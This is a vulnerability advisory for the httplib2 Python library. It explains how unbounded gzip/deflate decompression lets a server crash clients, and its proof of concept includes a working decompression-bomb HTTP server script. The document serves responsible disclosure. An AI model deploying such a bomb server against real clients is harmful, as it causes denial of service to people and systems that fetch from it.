httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

1. gzip decompression (line 394):

   python

   content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()

   The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

2. deflate decompression (line 397):

   python

   content = zlib.decompress(content, zlib.MAX_WBITS)

   Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

• Content-Encoding: gzip header
• A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics:

• Compressed payload size: 152,908 bytes (~150 KB)
• Decompressed size: 157,286,400 bytes (150 MB)
• Amplification ratio: ~1,029x
• Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Real-world scenarios:

• Web scrapers/crawlers that fetch pages from untrusted URLs
• API clients connecting to third-party services
• Webhook handlers that follow redirects to attacker-controlled endpoints
• CI/CD pipelines that download dependencies or artifacts over HTTP
• Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.

Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/